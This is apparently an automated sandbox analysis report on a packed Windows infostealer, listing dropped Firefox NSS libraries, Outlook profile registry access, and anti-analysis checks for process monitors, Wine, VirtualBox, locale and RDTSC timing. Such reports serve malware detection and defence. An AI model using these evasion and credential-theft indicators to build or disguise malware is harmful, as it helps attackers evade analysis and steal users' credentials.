Source: JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1958595520.00000000294B1000.00000004.00000020.00020000.00000000.sdmp, JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5BA99	0_2_00F5BA99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F60A1B	0_2_00F60A1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F65A0E	0_2_00F65A0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E59B61	0_2_00E59B61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0C37D	0_2_00F0C37D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F624F3	0_2_00F624F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFFC7F	0_2_00FFFC7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5D522	0_2_00F5D522
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDD6B8	0_2_00EDD6B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE2E8A	0_2_00EE2E8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD77C9	0_2_00FD77C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F63F68	0_2_00F63F68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E5E702	0_2_00E5E702

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00B945C0 appears 316 times

Source: file.exe, 00000000.00000002.2031586605.000000006F8F2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2031457057.000000006C855000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: gwyzzxql ZLIB complexity 0.9947243653086044

Source: file.exe, 00000000.00000003.1689855003.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00BA8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00BA3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\412L5HEX.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1812863759.000000001D1D4000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGIJECFIEBFIDHC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2031127517.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1840128 > 1048576

Source: file.exe

Static PE information: Raw size of gwyzzxql is bigger than: 0x100000 < 0x19b200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2031548731.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2031368426.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2031548731.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gwyzzxql:EW;vmtdtefc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;gwyzzxql:EW;vmtdtefc:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00BA9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c2af5 should be: 0x1c5244

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: gwyzzxql
Source: file.exe	Static PE information: section name: vmtdtefc
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF80E0 push 64B96132h; mov dword ptr [esp], edi	0_2_00FF8123
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF80E0 push ebx; mov dword ptr [esp], esi	0_2_00FF8177
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFE8B8 push ebp; mov dword ptr [esp], edx	0_2_00FFE8D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01011983 push 055E0BC4h; mov dword ptr [esp], edx	0_2_010119C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAB035 push ecx; ret	0_2_00BAB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6E040 push 0DF7FBB1h; mov dword ptr [esp], esi	0_2_00F6E076
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFF83E push 03C6A596h; mov dword ptr [esp], edi	0_2_00FFF890
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010469CF push ebp; mov dword ptr [esp], 79F9F700h	0_2_010469F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102C9E1 push edx; mov dword ptr [esp], esi	0_2_0102C9FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC280F push 60DFD385h; mov dword ptr [esp], edx	0_2_00FC276A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012241D5 push edi; mov dword ptr [esp], ebx	0_2_01224300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF29E8 push eax; mov dword ptr [esp], esp	0_2_00FF2A08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101201D push ebx; mov dword ptr [esp], ebp	0_2_01012038
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101201D push ebp; mov dword ptr [esp], edi	0_2_01012082
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101A821 push 64CED383h; mov dword ptr [esp], ebx	0_2_0101A865
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101A821 push edi; mov dword ptr [esp], ebp	0_2_0101A87F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6B9DD push 723FB739h; mov dword ptr [esp], ebx	0_2_00F6B9E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD99CA push ebx; mov dword ptr [esp], ecx	0_2_00FD9A11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD99CA push edx; mov dword ptr [esp], eax	0_2_00FD9A27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F861C0 push ecx; mov dword ptr [esp], edi	0_2_00F862A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FDE1A9 push ecx; mov dword ptr [esp], 7FCFB114h	0_2_00FDE1C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FDE1A9 push 3753772Dh; mov dword ptr [esp], eax	0_2_00FDE24F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102E885 push edi; mov dword ptr [esp], 30C7CC83h	0_2_0102E950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE1970 push 5974537Dh; mov dword ptr [esp], edx	0_2_00FE19A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010318B6 push eax; mov dword ptr [esp], esi	0_2_010318C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8D13A push edx; mov dword ptr [esp], ecx	0_2_00F8D1A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8D13A push ebx; mov dword ptr [esp], ecx	0_2_00F8D1E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8D92C push 7A7DD7E3h; mov dword ptr [esp], ecx	0_2_00F8D934
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8D92C push edx; mov dword ptr [esp], esp	0_2_00F8D952
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101E0D8 push 7FBD2614h; mov dword ptr [esp], esi	0_2_0101E13E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101E0D8 push ebx; mov dword ptr [esp], 20DEB8F4h	0_2_0101E153

Source: file.exe

Static PE information: section name: gwyzzxql entropy: 7.95281736149135

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00BA9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13479

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69915 second address: F69923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69923 second address: F6993D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F55D8C2E5FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6993D second address: F6995E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F55D8D59BA9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6995E second address: F6996B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F55D8C2E5FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6996B second address: F6996F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69AAF second address: F69AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69AB6 second address: F69ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69ABC second address: F69AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69AC0 second address: F69ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69ACF second address: F69ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69ADA second address: F69ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69ADE second address: F69AE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69DE1 second address: F69DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69DF0 second address: F69DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F55D8C2E5F6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69F85 second address: F69F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F55D8D59B9Bh 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69F96 second address: F69FA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F55D8C2E5F6h 0x0000000a rdtsc
